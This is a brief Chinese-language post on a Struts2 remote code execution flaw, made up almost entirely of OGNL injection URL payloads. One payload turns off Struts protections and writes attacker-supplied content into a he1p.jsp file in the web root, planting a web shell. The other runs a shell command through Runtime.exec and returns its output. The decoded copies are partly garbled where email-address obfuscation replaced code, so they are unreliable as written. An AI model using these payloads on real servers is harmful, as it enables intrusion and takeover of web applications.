Struts2遠程執行漏洞
第一種***方式：新建一個文件，在文件中寫入一下自己的東西加上&data=要寫入文件he1p.jsp文件中的內容
***地址?class.classLoader.jarPath=(
%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D+new+java.lang.Boolean(false)%2C+
%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C+
%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C+
%23sb%3Dnew+java.lang.StringBuffer()%2C+%23sb.append(%23req.getRealPath("/"))%2C+
%23sb.append("he1p.jsp")%2C+%23fos%3Dnew+java.io.FileOutputStream(%23sb.toString())%2C+
%23fos.write(%23req.getParameter('data').getBytes())%2C+
%23darky%3D%40org.apache.struts2.ServletActionContext@getResponse().getWriter()%2C+
%23darky.println("suceessful")%2C+
%23darky.close()%2C+
%23fos.close()
)(aa)&x[(class.classLoader.jarPath)('aa')]
轉義後的源碼：
***地址?class.classLoader.jarPath=(
#context["xwork.MethodAccessor.denyMethodExecution"]=+new+java.lang.Boolean(false),+
#_memberAccess["allowStaticMethodAccess"]=true,+
#[email protected]@getRequest(),+
#sb=new+java.lang.StringBuffer(),+
#sb.append(#req.getRealPath("/")),+
#sb.append("he1p.jsp"),+
#fos=new+java.io.FileOutputStream(#sb.toString()),+
#fos.write(#req.getParameter('data').getBytes()),+
#[email protected]@getResponse().getWriter(),+
#darky.println("suceessful"),+
#darky.close(),+
#fos.close()
)(aa)&x[(class.classLoader.jarPath)('aa')]
第二種***方式，執行CMD命令
***地址?class.classLoader.jarPath=(
%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D+new+java.lang.Boolean(false)%2C+
%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C+
%23darky%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C+
%23myret%3D%40java.lang.Runtime%40getRuntime().exec("ls -la")%2C+
%23is%3D%23myret.getInputStream()%2C+
%23s%3D+new+java.util.Scanner(%23is).useDelimiter("\\A")%2C+
%23darky.println(%23s.next())%2C+
%23darky.close()
)(aa)&x[(class.classLoader.jarPath)('aa')]
轉義後的地址
***地址?class.classLoader.jarPath=(
#context["xwork.MethodAccessor.denyMethodExecution"]=+new+java.lang.Boolean(false),+
#_memberAccess["allowStaticMethodAccess"]=true,+
#[email protected]@getResponse().getWriter(),+
#[email protected]@getRuntime().exec("ls -la"),+
#is=#myret.getInputStream(),+
#s=+new+java.util.Scanner(#is).useDelimiter("\\A"),+
#darky.println(#s.next()),+
#darky.close()
)(aa)&x[(class.classLoader.jarPath)('aa')]
***地址?class.classLoader.jarPath=(
#context["xwork.MethodAccessor.denyMethodExecution"]=+new+java.lang.Boolean(false),+
#_memberAccess["allowStaticMethodAccess"]=true,+
#[email protected]@getResponse().getWriter(),+
#[email protected]@getRuntime().exec("ls -la"),+
#is=#myret.getInputStream(),+
#s=+new+java.util.Scanner(#is).useDelimiter("\\A"),+
#darky.println(#s.next()),+
#darky.close()
)(aa)&x[(class.classLoader.jarPath)('aa')]